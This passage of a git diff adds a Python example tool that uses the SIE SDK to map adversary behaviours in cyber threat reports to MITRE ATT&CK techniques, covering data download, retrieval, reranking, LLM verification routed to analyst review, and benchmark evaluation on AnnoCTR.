run_id=run_id, + ) + console.print(f"[green]Wrote[/] {result}") + + +def _evaluate(args: argparse.Namespace) -> None: + predictions_path = args.run_dir / "predictions.jsonl" + if not predictions_path.is_file(): + raise SystemExit(f"Predictions not found: {predictions_path}") + evaluation = evaluate_predictions(read_predictions(predictions_path)) + output = args.run_dir / "evaluation.json" + output.write_text(json.dumps(evaluation, indent=2) + "\n", encoding="utf-8") + console.print_json(data=evaluation) + + +def build_parser() -> argparse.ArgumentParser: + parser = argparse.ArgumentParser(description="Map cited threat-report behavior to MITRE ATT&CK with SIE") + commands = parser.add_subparsers(dest="command", required=True) + + fetch = commands.add_parser("fetch", help="Download and verify the pinned ATT&CK and AnnoCTR sources") + fetch.add_argument("--force", action="store_true") + fetch.set_defaults(func=_fetch) + + run_benchmark = commands.add_parser("benchmark", help="Run the mention-linking benchmark") + run_benchmark.add_argument("--split", choices=("dev", "test"), default="test") + run_benchmark.add_argument("--limit", type=int) + run_benchmark.add_argument("--stage", choices=("retrieve", "rerank", "verify"), default="retrieve") + run_benchmark.add_argument("--run-id") + run_benchmark.set_defaults(func=_benchmark) + + report = commands.add_parser("report", help="Map behaviors in one text, Markdown, HTML, or PDF report") + report.add_argument("report", type=Path) + report.add_argument("--run-id") + report.set_defaults(func=_report) + + demo = commands.add_parser("demo", help="Map a real report from the pinned AnnoCTR corpus") + demo.add_argument( + "--document", + default="proofpoint_2022-02-03_mfa-psa-oh-my", + help="AnnoCTR document stem", + ) + demo.add_argument("--split", choices=("train", "dev", "test"), default="test") + demo.add_argument("--run-id") + demo.set_defaults(func=_demo) + + evaluate = commands.add_parser("evaluate", help="Recompute metrics from a saved prediction ledger") + evaluate.add_argument("run_dir", type=Path) + evaluate.set_defaults(func=_evaluate) + return parser + + +def main() -> None: + args = build_parser().parse_args() + args.func(args) + + +if __name__ == "__main__": + main() diff --git a/examples/threat-report-attck-mapper/threat_mapper/config.py b/examples/threat-report-attck-mapper/threat_mapper/config.py new file mode 100644 index 000000000..6cd1dfa74 --- /dev/null +++ b/examples/threat-report-attck-mapper/threat_mapper/config.py @@ -0,0 +1,21 @@ +from __future__ import annotations + +import os +from pathlib import Path +from typing import Any + +import yaml +from dotenv import load_dotenv + +ROOT = Path(__file__).resolve().parents[1] +CONFIG_PATH = ROOT / "config.yaml" +CACHE_DIR = ROOT / "data" / "cache" +RUNS_DIR = ROOT / "runs" + + +def load_config(path: Path = CONFIG_PATH) -> dict[str, Any]: + load_dotenv(ROOT / ".env") + config = yaml.safe_load(path.read_text(encoding="utf-8")) + config["cluster"]["url"] = os.getenv("SIE_CLUSTER_URL", config["cluster"]["url"]) + config["cluster"]["api_key"] = os.getenv("SIE_API_KEY", config["cluster"]["api_key"]) + return config diff --git a/examples/threat-report-attck-mapper/threat_mapper/data.py b/examples/threat-report-attck-mapper/threat_mapper/data.py new file mode 100644 index 000000000..9124a074a --- /dev/null +++ b/examples/threat-report-attck-mapper/threat_mapper/data.py @@ -0,0 +1,178 @@ +from __future__ import annotations + +import hashlib +import json +import re +import shutil +import tempfile +import zipfile +from collections import defaultdict +from collections.abc import Iterable +from pathlib import Path +from typing import Any + +import httpx + +from .config import CACHE_DIR +from .models import LinkingCase + + +def sha256(path: Path) -> str: + digest = hashlib.sha256() + with path.open("rb") as stream: + for chunk in iter(lambda: stream.read(1024 * 1024), b""): + digest.update(chunk) + return digest.hexdigest() + + +def download(url: str, destination: Path, expected_sha256: str, *, force: bool = False) -> Path: + destination.parent.mkdir(parents=True, exist_ok=True) + if destination.is_file() and not force: + if sha256(destination) != expected_sha256: + raise RuntimeError(f"Cached source hash mismatch: {destination}") + return destination + partial = destination.with_suffix(destination.suffix + ".partial") + try: + with httpx.stream("GET", url, follow_redirects=True, timeout=120) as response: + response.raise_for_status() + with partial.open("wb") as stream: + for chunk in response.iter_bytes(): + stream.write(chunk) + actual = sha256(partial) + if actual != expected_sha256: + raise RuntimeError(f"Downloaded source hash mismatch for {url}: expected {expected_sha256}, got {actual}") + partial.replace(destination) + finally: + partial.unlink(missing_ok=True) + return destination + + +def _safe_extract(archive: Path, destination: Path) -> None: + destination_root = destination.resolve() + with zipfile.ZipFile(archive) as bundle: + for member in bundle.infolist(): + member_path = (destination / member.filename).resolve() + if member_path != destination_root and destination_root not in member_path.parents: + raise RuntimeError(f"Archive member escapes extraction directory: {member.filename}") + bundle.extractall(destination) + + +def ensure_sources(config: dict[str, Any], *, force: bool = False) -> dict[str, Path]: + attack_source = config["sources"]["attack"] + annoctr_source = config["sources"]["annoctr"] + attack_path = download( + str(attack_source["url"]), + CACHE_DIR / f"enterprise-attack-{attack_source['version']}.json", + str(attack_source["sha256"]), + force=force, + ) + archive_path = download( + str(annoctr_source["url"]), + CACHE_DIR / f"annoctr-{str(annoctr_source['commit'])[:12]}.zip", + str(annoctr_source["sha256"]), + force=force, + ) + extracted = CACHE_DIR / f"annoctr-{str(annoctr_source['commit'])[:12]}" + marker = extracted / ".complete" + if force and extracted.exists(): + shutil.rmtree(extracted) + if not marker.is_file(): + staging = Path(tempfile.mkdtemp(prefix=".annoctr-", dir=CACHE_DIR)) + try: + _safe_extract(archive_path, staging) + if extracted.exists(): + shutil.rmtree(extracted) + staging.rename(extracted) + marker.write_text(f"{sha256(archive_path)}\n", encoding="utf-8") + except BaseException: + shutil.rmtree(staging, ignore_errors=True) + raise + return {"attack": attack_path, "annoctr": extracted, "annoctr_archive": archive_path} + + +def _technique_id(label_link: str) -> str | None: + match = re.search(r"/techniques/(T\d{4})(?:/(\d{3}))?", label_link) + if match is None: + return None + return match.group(1) if match.group(2) is None else f"{match.group(1)}.{match.group(2)}" + + +def _evidence(row: dict[str, Any]) -> str: + left = str(row.get("_context_left", row.get("context_left", ""))) + mention = str(row.get("mention", "")) + right = str(row.get("_context_right", row.get("context_right", ""))) + evidence = f"{left}{mention}{right}".strip() + return " ".join(evidence.split()) + + +def _case_key(row: dict[str, Any]) -> tuple[str, str, str, str, str]: + return ( + str(row.get("document", "")), + str(row.get("mention", "")), + _evidence(row), + str(row.get("sentence_left", "")), + str(row.get("sentence_right", "")), + ) + + +def _case_id(key: Iterable[str]) -> str: + encoded = json.dumps(list(key), ensure_ascii=False, separators=(",", ":")).encode("utf-8") + return hashlib.sha256(encoded).hexdigest()[:20] + + +def _find_split_file(annoctr_root: Path, split: str) -> Path: + matches = list(annoctr_root.glob(f"*/AnnoCTR/linking_mitre_only/{split}.jsonl")) + if len(matches) != 1: + raise FileNotFoundError(f"Expected one AnnoCTR {split} linking file under {annoctr_root}, found {len(matches)}") + return matches[0] + + +def find_annoctr_catalog(annoctr_root: Path) -> Path: + matches = list(annoctr_root.glob("*/AnnoCTR/entities/mitre_entity.jsonl")) + if len(matches) != 1: + raise FileNotFoundError(f"Expected one AnnoCTR MITRE entity catalog under {annoctr_root}, found {len(matches)}") + return matches[0] + + +def find_annoctr_report(annoctr_root: Path, split: str, document: str) -> Path: + if split not in {"train", "dev", "test"}: + raise ValueError("split must be train, dev, or test") + if not re.fullmatch(r"[A-Za-z0-9][A-Za-z0-9._-]{0,255}", document): + raise ValueError("document must be one safe AnnoCTR document name") + matches = list(annoctr_root.glob(f"*/AnnoCTR/text/{split}/{document}.txt")) + if len(matches) != 1: + raise FileNotFoundError(f"Expected one AnnoCTR report named {document} in {split}, found {len(matches)}") + return matches[0] + + +def load_linking_cases(annoctr_root: Path, split: str) -> list[LinkingCase]: + if split not in {"train", "dev", "test"}: + raise ValueError("split must be train, dev, or test") + rows: dict[tuple[str, str, str, str, str], list[dict[str, Any]]] = defaultdict(list) + with _find_split_file(annoctr_root, split).open(encoding="utf-8") as stream: + for line in stream: + if not line.strip(): + continue + row = json.loads(line) + if row.get("entity_type") != "TECHNIQUE": + continue + technique_id = _technique_id(str(row.get("label_link", ""))) + if technique_id is None: + continue + row["technique_id"] = technique_id + rows[_case_key(row)].append(row) + cases: list[LinkingCase] = [] + for key, group in rows.items(): + cases.append( + LinkingCase( + case_id=_case_id(key), + document=key[0], + mention=key[1], + evidence=key[2], + left_context=key[3], + right_context=key[4], + gold_ids=tuple(sorted({str(row["technique_id"]) for row in group})), + annotation_classes=tuple(sorted({str(row.get("entity_class", "")) for row in group})), + ) + ) + return sorted(cases, key=lambda item: item.case_id) diff --git a/examples/threat-report-attck-mapper/threat_mapper/evaluation.py b/examples/threat-report-attck-mapper/threat_mapper/evaluation.py new file mode 100644 index 000000000..bcfe83776 --- /dev/null +++ b/examples/threat-report-attck-mapper/threat_mapper/evaluation.py @@ -0,0 +1,80 @@ +from __future__ import annotations + +import json +from collections import defaultdict +from collections.abc import Iterable +from pathlib import Path +from typing import Any + + +def _mean(values: Iterable[float]) -> float: + rows = list(values) + return sum(rows) / len(rows) if rows else 0.0 + + +def evaluate_predictions(predictions: list[dict[str, Any]]) -> dict[str, Any]: + eligible = [row for row in predictions if row.get("gold_ids")] + if not eligible: + raise ValueError("No eligible predictions") + + def ids(row: dict[str, Any], field: str) -> list[str]: + return [str(item["technique_id"]) for item in row.get(field, [])] + + retrieval_mrr: list[float] = [] + retrieval_recall_10: list[float] = [] + per_document: dict[str, list[float]] = defaultdict(list) + for row in eligible: + gold = {str(value) for value in row["gold_ids"]} + ranking = ids(row, "retrieval") + first_rank = next((index + 1 for index, value in enumerate(ranking) if value in gold), None) + retrieval_mrr.append(0.0 if first_rank is None else 1.0 / first_rank) + retrieval_recall_10.append(len(gold.intersection(ranking[:10])) / len(gold)) + per_document[str(row["document"])].append(float(bool(ranking and ranking[0] in gold))) + + reranked = [row for row in eligible if row.get("rerank")] + verified = [row for row in reranked if isinstance(row.get("verification"), dict)] + covered = [row for row in verified if row["verification"].get("support") == "supported"] + correct_covered = [row for row in covered if row["verification"].get("selected_technique_id") in row["gold_ids"]] + return { + "cases": { + "total": len(predictions), + "eligible": len(eligible), + "excluded_no_active_gold": len(predictions) - len(eligible), + "documents": len({row["document"] for row in eligible}), + }, + "retrieval": { + "hit_at_1": _mean( + float(bool(ids(row, "retrieval")) and ids(row, "retrieval")[0] in set(row["gold_ids"])) + for row in eligible + ), + "hit_at_5": _mean( + float(bool(set(ids(row, "retrieval")[:5]).intersection(row["gold_ids"]))) for row in eligible + ), + "recall_at_10": _mean(retrieval_recall_10), + "mrr": _mean(retrieval_mrr), + "document_macro_hit_at_1": _mean(_mean(values) for values in per_document.values()), + }, + "rerank": { + "cases": len(reranked), + "hit_at_1": _mean( + float(ids(row, "rerank")[0] in set(row["gold_ids"])) for row in reranked if ids(row, "rerank") + ), + "hit_at_5": _mean( + float(bool(set(ids(row, "rerank")[:5]).intersection(row["gold_ids"]))) for row in reranked + ), + }, + "verification": { + "cases": len(verified), + "coverage": len(covered) / len(verified) if verified else 0.0, + "selective_precision": len(correct_covered) / len(covered) if covered else 0.0, + "abstain_or_review_rate": (len(verified) - len(covered)) / len(verified) if verified else 0.0, + }, + } + + +def read_predictions(path: Path) -> list[dict[str, Any]]: + rows: list[dict[str, Any]] = [] + with path.open(encoding="utf-8") as stream: + for line in stream: + rows.append(json.loads(line)) + return rows diff --git a/examples/threat-report-attck-mapper/threat_mapper/models.py b/examples/threat-report-attck-mapper/threat_mapper/models.py new file mode 100644 index 000000000..46066af72 --- /dev/null +++ b/examples/threat-report-attck-mapper/threat_mapper/models.py @@ -0,0 +1,89 @@ +from __future__ import annotations + +from dataclasses import asdict, dataclass, field +from typing import Any + + +@dataclass(frozen=True) +class Technique: + technique_id: str + name: str + description: str + tactics: tuple[str, ...] + platforms: tuple[str, ...] + is_subtechnique: bool + attack_url: str + stix_id: str + modified: str + + @property + def candidate_text(self) -> str: + fields = [ + f"ATT&CK technique: {self.technique_id} {self.name}", + f"Description: {self.description}", + ] + if self.tactics: + fields.append(f"Tactics: {', '.join(self.tactics)}") + if self.platforms: + fields.append(f"Platforms: {', '.join(self.platforms)}") + return "\n".join(fields) + + def to_dict(self) -> dict[str, Any]: + return asdict(self) + + +@dataclass(frozen=True) +class LinkingCase: + case_id: str + document: str + mention: str + evidence: str + left_context: str + right_context: str + gold_ids: tuple[str, ...] + annotation_classes: tuple[str, ...] + + @property + def query_text(self) -> str: + return f"Observed behavior: {self.evidence}\nAnnotated span: {self.mention}" + + +@dataclass(frozen=True) +class CandidateScore: + technique_id: str + name: str + dense_score: float + rerank_score: float | None = None + rerank_rank: int | None = None + + def to_dict(self) -> dict[str, Any]: + return asdict(self) + + +@dataclass(frozen=True) +class BehaviorEvidence: + quote: str + summary: str + source_start: int + source_end: int + entities: tuple[dict[str, Any], ...] = field(default_factory=tuple) + + def to_dict(self) -> dict[str, Any]: + return asdict(self) + + +@dataclass(frozen=True) +class MappingDecision: + behavior: BehaviorEvidence + route: str + status: str + selected_technique_id: str | None + support: str + evidence_quote: str + rationale: str + candidates: tuple[CandidateScore, ...] + verifier_model: str + escalated: bool + + def to_dict(self) -> dict[str, Any]: + return asdict(self) diff --git a/examples/threat-report-attck-mapper/threat_mapper/pipeline.py b/examples/threat-report-attck-mapper/threat_mapper/pipeline.py new file mode 100644 index 000000000..fe3cc71cf --- /dev/null +++ b/examples/threat-report-attck-mapper/threat_mapper/pipeline.py @@ -0,0 +1,390 @@ +from __future__ import annotations + +import hashlib +import re +import time +from typing import Any + +import numpy as np +from sie_sdk.types import Item + +from .models import BehaviorEvidence, CandidateScore, MappingDecision, Technique +from .sie import SIEClientProtocol, jsonable, parse_generated_json, request_record + +ENTITY_LABELS = [ + "threat actor", + "malware", + "security tool", + "credential", + "authentication token", + "network protocol", + "command or script", + "cloud service", +] + +BEHAVIOR_SCHEMA = { + "type": "object", + "properties": { + "behaviors": { + "type": "array", + "items": { + "type": "object", + "properties": { + "quote": {"type": "string"}, + "summary": {"type": "string"}, + }, + "required": ["quote", "summary"], + "additionalProperties": False, + }, + } + }, + "required": ["behaviors"], + "additionalProperties": False, +} + + +def verification_schema(candidate_count: int) -> dict[str, Any]: + return { + "type": "object", + "properties": { + "selected_index": {"type": "integer", "minimum": -1, "maximum": candidate_count - 1}, + "support": {"type": "string", "enum": ["supported", "ambiguous", "unsupported"]}, + "evidence_quote": {"type": "string"}, + "rationale": {"type": "string"}, + }, + "required": ["selected_index", "support", "evidence_quote", "rationale"], + "additionalProperties": False, + } + + +def _ground_quote(source: str, quote: str) -> tuple[str, int, int] | None: + quote = quote.strip() + if not quote: + return None + exact = source.find(quote) + if exact >= 0: + return source[exact : exact + len(quote)], exact, exact + len(quote) + tokens = quote.split() + if not tokens: + return None + pattern = r"\s+".join(re.escape(token) for token in tokens) + match = re.search(pattern, source) + if match is None: + return None + return match.group(), match.start(), match.end() + + +def split_report(text: str, max_characters: int) -> list[str]: + paragraphs = [paragraph.strip() for paragraph in re.split(r"\n\s*\n", text) if paragraph.strip()] + chunks: list[str] = [] + current = "" + for paragraph in paragraphs: + if len(paragraph) > max_characters: + if current: + chunks.append(current) + current = "" + chunks.extend( + paragraph[index : index + max_characters] for index in range(0, len(paragraph), max_characters) + ) + continue + candidate = paragraph if not current else f"{current}\n\n{paragraph}" + if len(candidate) > max_characters: + chunks.append(current) + current = paragraph + else: + current = candidate + if current: + chunks.append(current) + return chunks or [text[:max_characters]] + + +def extract_behaviors( + client: SIEClientProtocol, + model: str, + report_text: str, + *, + max_behaviors: int, + chunk_characters: int, + provision_timeout_s: float, +) -> tuple[list[BehaviorEvidence], list[dict[str, Any]]]: + behaviors: list[BehaviorEvidence] = [] + calls: list[dict[str, Any]] = [] + seen_quotes: set[str] = set() + source_cursor = 0 + for chunk_index, chunk in enumerate(split_report(report_text, chunk_characters)): + chunk_start = report_text.find(chunk, source_cursor) + if chunk_start < 0: + raise RuntimeError("A report chunk could not be traced back to the source text") + source_cursor = chunk_start + len(chunk) + prompt = ( + "You review a cyber threat report. Extract concrete adversary behaviors that can be mapped to MITRE " + "ATT&CK Enterprise techniques. Copy each quote exactly from the report chunk. Skip product advice, " + "background definitions, and unsupported guesses. Keep the shortest quote that still states the behavior.\n\n" + f"REPORT CHUNK\n{chunk}" + ) + started = time.perf_counter() + response = client.generate( + model, + prompt, + max_new_tokens=1800, + temperature=0, + grammar={"json_schema": BEHAVIOR_SCHEMA, "label": "threat_behaviors", "strict": True}, + wait_for_capacity=True, + provision_timeout_s=provision_timeout_s, + ) + calls.append( + request_record( + f"behavior_extract_{chunk_index}", + model, + response, + (time.perf_counter() - started) * 1000, + function="generate", + ) + ) + payload = parse_generated_json(response) + rows = payload.get("behaviors") + if not isinstance(rows, list): + raise TypeError("Behavior extractor omitted behaviors") + for row in rows: + if not isinstance(row, dict): + continue + grounded = _ground_quote(chunk, str(row.get("quote", ""))) + if grounded is None: + continue + quote, relative_start, relative_end = grounded + start = chunk_start + relative_start + end = chunk_start + relative_end + normalized = " ".join(quote.casefold().split()) + if normalized in seen_quotes: + continue + seen_quotes.add(normalized) + behaviors.append( + BehaviorEvidence( + quote=quote, + summary=str(row.get("summary", "")).strip(), + source_start=start, + source_end=end, + ) + ) + if len(behaviors) >= max_behaviors: + return behaviors, calls + return behaviors, calls + + +def enrich_entities( + client: SIEClientProtocol, + model: str, + behaviors: list[BehaviorEvidence], + *, + provision_timeout_s: float, +) -> tuple[list[BehaviorEvidence], list[dict[str, Any]]]: + enriched: list[BehaviorEvidence] = [] + calls: list[dict[str, Any]] = [] + for index, behavior in enumerate(behaviors): + started = time.perf_counter() + response = client.extract( + model, + Item(id=f"behavior-{index}", text=behavior.quote), + labels=ENTITY_LABELS, + wait_for_capacity=True, + provision_timeout_s=provision_timeout_s, + ) + calls.append( + request_record( + f"entities_{index}", + model, + response, + (time.perf_counter() - started) * 1000, + function="extract", + ) + ) + payload = jsonable(response) + entities = payload.get("entities", []) if isinstance(payload, dict) else [] + if not isinstance(entities, list): + entities = [] + enriched.append( + BehaviorEvidence( + quote=behavior.quote, + summary=behavior.summary, + source_start=behavior.source_start, + source_end=behavior.source_end, + entities=tuple(entity for entity in entities if isinstance(entity, dict)), + ) + ) + return enriched, calls + + +def retrieve( + query_vector: np.ndarray, + catalog_vectors: np.ndarray, + techniques: list[Technique], + candidate_count: int, +) -> list[CandidateScore]: + if catalog_vectors.shape[0] != len(techniques): + raise ValueError("Catalog vectors and techniques have different row counts") + scores = catalog_vectors @ query_vector + count = min(candidate_count, len(techniques)) + indexes = np.argsort(-scores, kind="stable")[:count] + return [ + CandidateScore( + technique_id=techniques[int(index)].technique_id, + name=techniques[int(index)].name, + dense_score=float(scores[int(index)]), + ) + for index in indexes + ] + + +def rerank( + client: SIEClientProtocol, + model: str, + behavior: BehaviorEvidence, + candidates: list[CandidateScore], + technique_lookup: dict[str, Technique], + *, + rerank_count: int, + provision_timeout_s: float, +) -> tuple[list[CandidateScore], dict[str, Any]]: + selected = candidates[:rerank_count] + query = Item(id="behavior", text=f"Observed adversary behavior: {behavior.quote}") + items = [Item(id=row.technique_id, text=technique_lookup[row.technique_id].candidate_text) for row in selected] + started = time.perf_counter() + response = client.score( + model, + query, + items, + instruction="Determine whether the ATT&CK technique directly describes the observed adversary behavior.", + wait_for_capacity=True, + provision_timeout_s=provision_timeout_s, + ) + call = request_record("rerank", model, response, (time.perf_counter() - started) * 1000, function="score") + payload = jsonable(response) + rows = payload.get("scores", []) if isinstance(payload, dict) else [] + dense_by_id = {row.technique_id: row.dense_score for row in selected} + ranked: list[CandidateScore] = [] + for rank, row in enumerate(sorted(rows, key=lambda item: int(item.get("rank", 0)))): + technique_id = str(row.get("item_id", "")) + if technique_id not in dense_by_id: + raise RuntimeError(f"Reranker returned an unknown technique ID: {technique_id}") + ranked.append( + CandidateScore( + technique_id=technique_id, + name=technique_lookup[technique_id].name, + dense_score=dense_by_id[technique_id], + rerank_score=float(row.get("score", 0)), + rerank_rank=rank, + ) + ) + if len(ranked) != len(selected): + raise RuntimeError(f"Reranker returned {len(ranked)} rows for {len(selected)} candidates") + return ranked, call + + +def _verify_once( + client: SIEClientProtocol, + model: str, + behavior: BehaviorEvidence, + candidates: list[CandidateScore], + technique_lookup: dict[str, Technique], + *, + provision_timeout_s: float, + stage: str, +) -> tuple[dict[str, Any], dict[str, Any]]: + candidate_text = "\n\n".join( + f"CANDIDATE {index}\n{technique_lookup[row.technique_id].candidate_text}" + for index, row in enumerate(candidates) + ) + prompt = ( + "You verify one proposed ATT&CK mapping. Select a candidate only when its definition directly matches the " + "observed behavior. Copy the supporting words exactly from OBSERVED BEHAVIOR. Mark ambiguous when two " + "candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst, not this " + "model, accepts or rejects the final mapping.\n\n" + f"OBSERVED BEHAVIOR\n{behavior.quote}\n\n{candidate_text}" + ) + started = time.perf_counter() + response = client.generate( + model, + prompt, + max_new_tokens=700, + temperature=0, + grammar={"json_schema": verification_schema(len(candidates)), "label": "attck_verification", "strict": True}, + wait_for_capacity=True, + provision_timeout_s=provision_timeout_s, + ) + call = request_record(stage, model, response, (time.perf_counter() - started) * 1000, function="generate") + return parse_generated_json(response), call + + +def verify_mapping( + client: SIEClientProtocol, + verify_model: str, + escalation_model: str, + behavior: BehaviorEvidence, + candidates: list[CandidateScore], + technique_lookup: dict[str, Technique], + *, + verifier_count: int, + use_escalation: bool, + provision_timeout_s: float, +) -> tuple[MappingDecision, list[dict[str, Any]]]: + finalists = candidates[:verifier_count] + if not finalists: + raise ValueError("Verifier requires at least one candidate") + result, call = _verify_once( + client, + verify_model, + behavior, + finalists, + technique_lookup, + provision_timeout_s=provision_timeout_s, + stage="verify", + ) + calls = [call] + escalated = False + verifier_model = verify_model + if result.get("support") == "ambiguous" and use_escalation: + result, escalation_call = _verify_once( + client, + escalation_model, + behavior, + finalists, + technique_lookup, + provision_timeout_s=provision_timeout_s, + stage="escalate", + ) + calls.append(escalation_call) + escalated = True + verifier_model = escalation_model + support = str(result.get("support", "unsupported")) + selected_index = result.get("selected_index", -1) + evidence_quote = str(result.get("evidence_quote", "")).strip() + grounded = _ground_quote(behavior.quote, evidence_quote) + if type(selected_index) is not int or not (-1 <= selected_index < len(finalists)): + raise ValueError(f"Verifier returned invalid selected_index: {selected_index!r}") + if support == "unsupported": + selected_index = -1 + elif selected_index < 0 or grounded is None: + support = "unsupported" + selected_index = -1 + evidence_quote = "" + selected_id = finalists[selected_index].technique_id if selected_index >= 0 else None + route = {"supported": "suggested_mapping", "ambiguous": "analyst_review", "unsupported": "abstain"}[support] + return ( + MappingDecision( + behavior=behavior, + route=route, + status="needs_analyst_review" if selected_id is not None else "no_mapping_suggested", + selected_technique_id=selected_id, + support=support, + evidence_quote=grounded[0] if grounded is not None and selected_id is not None else "", + rationale=str(result.get("rationale", "")).strip(), + candidates=tuple(finalists), + verifier_model=verifier_model, + escalated=escalated, + ), + calls, + ) + + +def evidence_sha256(behavior: BehaviorEvidence) -> str: + return hashlib.sha256(behavior.quote.encode("utf-8")).hexdigest() diff --git a/examples/threat-report-attck-mapper/threat_mapper/runner.py b/examples/threat-report-attck-mapper/threat_mapper/runner.py new file mode 100644 index 000000000..385fcf59b --- /dev/null +++ b/examples/threat-report-attck-mapper/threat_mapper/runner.py @@ -0,0 +1,461 @@ +from __future__ import annotations + +import contextlib +import json +import re +import shutil +import tempfile +import time +from datetime import UTC, datetime +from pathlib import Path +from typing import Any + +import numpy as np +from sie_sdk import SIEClient +from sie_sdk.types import Item + +from .catalog import catalog_by_id, load_annoctr_catalog, load_catalog +from .config import RUNS_DIR +from .data import ensure_sources, find_annoctr_catalog, find_annoctr_report, load_linking_cases, sha256 +from .evaluation import evaluate_predictions +from .models import BehaviorEvidence, Technique +from .pipeline import enrich_entities, evidence_sha256, extract_behaviors, rerank, retrieve, verify_mapping +from .sie import encode_texts, jsonable, request_record + + +def _write_json(path: Path, value: Any) -> None: + path.write_text(json.dumps(value, indent=2, ensure_ascii=False) + "\n", encoding="utf-8") + + +def _write_jsonl(path: Path, rows: list[dict[str, Any]]) -> None: + path.write_text("".join(json.dumps(row, ensure_ascii=False) + "\n" for row in rows), encoding="utf-8") + + +def _validate_run_id(run_id: str) -> str: + if not re.fullmatch(r"[A-Za-z0-9][A-Za-z0-9._-]{0,127}", run_id) or run_id in {".", ".."}: + raise ValueError("run_id must be one safe directory name") + return run_id + + +def _begin_run(run_id: str) -> tuple[Path, Path, Path]: + RUNS_DIR.mkdir(parents=True, exist_ok=True) + final_dir = RUNS_DIR / run_id + reservation = RUNS_DIR / f".{run_id}.lock" + try: + reservation.mkdir() + except FileExistsError as exc: + raise FileExistsError(f"Run ID is already reserved: {run_id}") from exc + try: + if final_dir.exists(): + raise FileExistsError(f"Run already exists: {final_dir}") + staging = Path(tempfile.mkdtemp(prefix=f".{run_id}-", dir=RUNS_DIR)) + except BaseException: + with contextlib.suppress(OSError): + reservation.rmdir() + raise + return final_dir, staging, reservation + + +def _artifact_rows(run_dir: Path) -> list[dict[str, str]]: + return [ + {"path": path.relative_to(run_dir).as_posix(), "sha256": sha256(path)} + for path in sorted(run_dir.rglob("*")) + if path.is_file() and path.name != "manifest.json" + ] + + +def _rate_book_provenance(calls: list[dict[str, Any]]) -> dict[str, Any]: + charged = [call for call in calls if call.get("credits_debited")] + if not charged: + return {"version": None, "request_ids": [], "execution_identity_sha256": []} + request_ids: list[str] = [] + versions: set[str] = set() + execution_identities: set[str] = set() + for call in charged: + request_id = call.get("request_id") + version = call.get("rate_book_version") + execution_identity = call.get("execution_identity_sha256") + if not isinstance(request_id, str) or not request_id: + raise RuntimeError("A charged SIE request has no request ID") + if not isinstance(version, str) or not version: + raise RuntimeError(f"Charged SIE request {request_id} has no rate-book version") + if not isinstance(execution_identity, str) or not execution_identity: + raise RuntimeError(f"Charged SIE request {request_id} has no execution identity") + request_ids.append(request_id) + versions.add(version) + execution_identities.add(execution_identity) + if len(request_ids) != len(set(request_ids)): + raise RuntimeError("The run contains duplicate charged SIE request IDs") + if len(versions) != 1: + raise RuntimeError("The run spans more than one SIE rate-book version") + return { + "version": versions.pop(), + "request_ids": request_ids, + "execution_identity_sha256": sorted(execution_identities), + } + + +def _eligible_gold(gold_ids: tuple[str, ...], lookup: dict[str, Technique]) -> tuple[list[str], list[str]]: + active = [value for value in gold_ids if value in lookup] + excluded = [value for value in gold_ids if value not in lookup] + return active, excluded + + +def _read_report( + client: SIEClient, + config: dict[str, Any], + report_path: Path, +) -> tuple[str, list[dict[str, Any]]]: + if report_path.suffix.casefold() not in {".pdf", ".html", ".htm", ".docx"}: + return report_path.read_text(encoding="utf-8"), [] + started = time.perf_counter() + response = client.extract( + config["models"]["parse"], + Item(id=report_path.stem, document=report_path), + options={"profile": "default"}, + wait_for_capacity=True, + provision_timeout_s=float(config["cluster"]["provision_timeout_s"]), + ) + payload = jsonable(response) + data = payload.get("data", {}) if isinstance(payload, dict) else {} + markdown = data.get("markdown") if isinstance(data, dict) else None + if not isinstance(markdown, str) or not markdown.strip(): + raise RuntimeError("Document parser returned no Markdown") + return markdown, [ + request_record( + "parse", + config["models"]["parse"], + response, + (time.perf_counter() - started) * 1000, + function="extract", + ) + ] + + +def map_report(config: dict[str, Any], *, report_path: Path, run_id: str) -> Path: + run_id = _validate_run_id(run_id) + if not report_path.is_file(): + raise FileNotFoundError(report_path) + sources = ensure_sources(config) + techniques = load_catalog(sources["attack"]) + lookup = catalog_by_id(techniques) + final_dir, staging, reservation = _begin_run(run_id) + calls: list[dict[str, Any]] = [] + try: + timeout = float(config["cluster"]["provision_timeout_s"]) + with SIEClient( + config["cluster"]["url"], + api_key=config["cluster"]["api_key"] or None, + timeout_s=timeout, + ) as client: + report_text, parse_calls = _read_report(client, config, report_path) + calls.extend(parse_calls) + (staging / "parsed-report.md").write_text(report_text, encoding="utf-8") + behaviors, behavior_calls = extract_behaviors( + client, + config["models"]["behavior_extract"], + report_text, + max_behaviors=int(config["report"]["max_behaviors"]), + chunk_characters=int(config["report"]["chunk_characters"]), + provision_timeout_s=timeout, + ) + calls.extend(behavior_calls) + behaviors, entity_calls = enrich_entities( + client, + config["models"]["entities"], + behaviors, + provision_timeout_s=timeout, + ) + calls.extend(entity_calls) + catalog_vectors, catalog_calls = encode_texts( + client, + config["models"]["retrieve"], + [technique.candidate_text for technique in techniques], + instruction=None, + is_query=False, + batch_size=int(config["retrieval"]["embedding_batch_size"]), + provision_timeout_s=timeout, + stage="catalog_encode", + ) + calls.extend(catalog_calls) + query_vectors, query_calls = encode_texts( + client, + config["models"]["retrieve"], + [f"Observed behavior: {row.quote}\nBehavior summary: {row.summary}" for row in behaviors], + instruction=config["retrieval"]["instruction"], + is_query=True, + batch_size=int(config["retrieval"]["embedding_batch_size"]), + provision_timeout_s=timeout, + stage="behavior_encode", + ) + calls.extend(query_calls) + np.savez_compressed( + staging / "embeddings.npz", + catalog=catalog_vectors, + queries=query_vectors, + technique_ids=np.asarray([row.technique_id for row in techniques]), + evidence_sha256=np.asarray([evidence_sha256(row) for row in behaviors]), + ) + decisions: list[dict[str, Any]] = [] + for index, behavior in enumerate(behaviors): + dense_candidates = retrieve( + query_vectors[index], + catalog_vectors, + techniques, + int(config["retrieval"]["candidate_count"]), + ) + ranked, rerank_call = rerank( + client, + config["models"]["rerank"], + behavior, + dense_candidates, + lookup, + rerank_count=int(config["retrieval"]["rerank_count"]), + provision_timeout_s=timeout, + ) + calls.append({**rerank_call, "evidence_sha256": evidence_sha256(behavior)}) + decision, verification_calls = verify_mapping( + client, + config["models"]["verify"], + config["models"]["escalate"], + behavior, + ranked, + lookup, + verifier_count=int(config["retrieval"]["verifier_count"]), + use_escalation=bool(config["report"]["use_escalation"]), + provision_timeout_s=timeout, + ) + calls.extend({**call, "evidence_sha256": evidence_sha256(behavior)} for call in verification_calls) + row = decision.to_dict() + row["selected_technique"] = ( + lookup[decision.selected_technique_id].to_dict() + if decision.selected_technique_id is not None + else None + 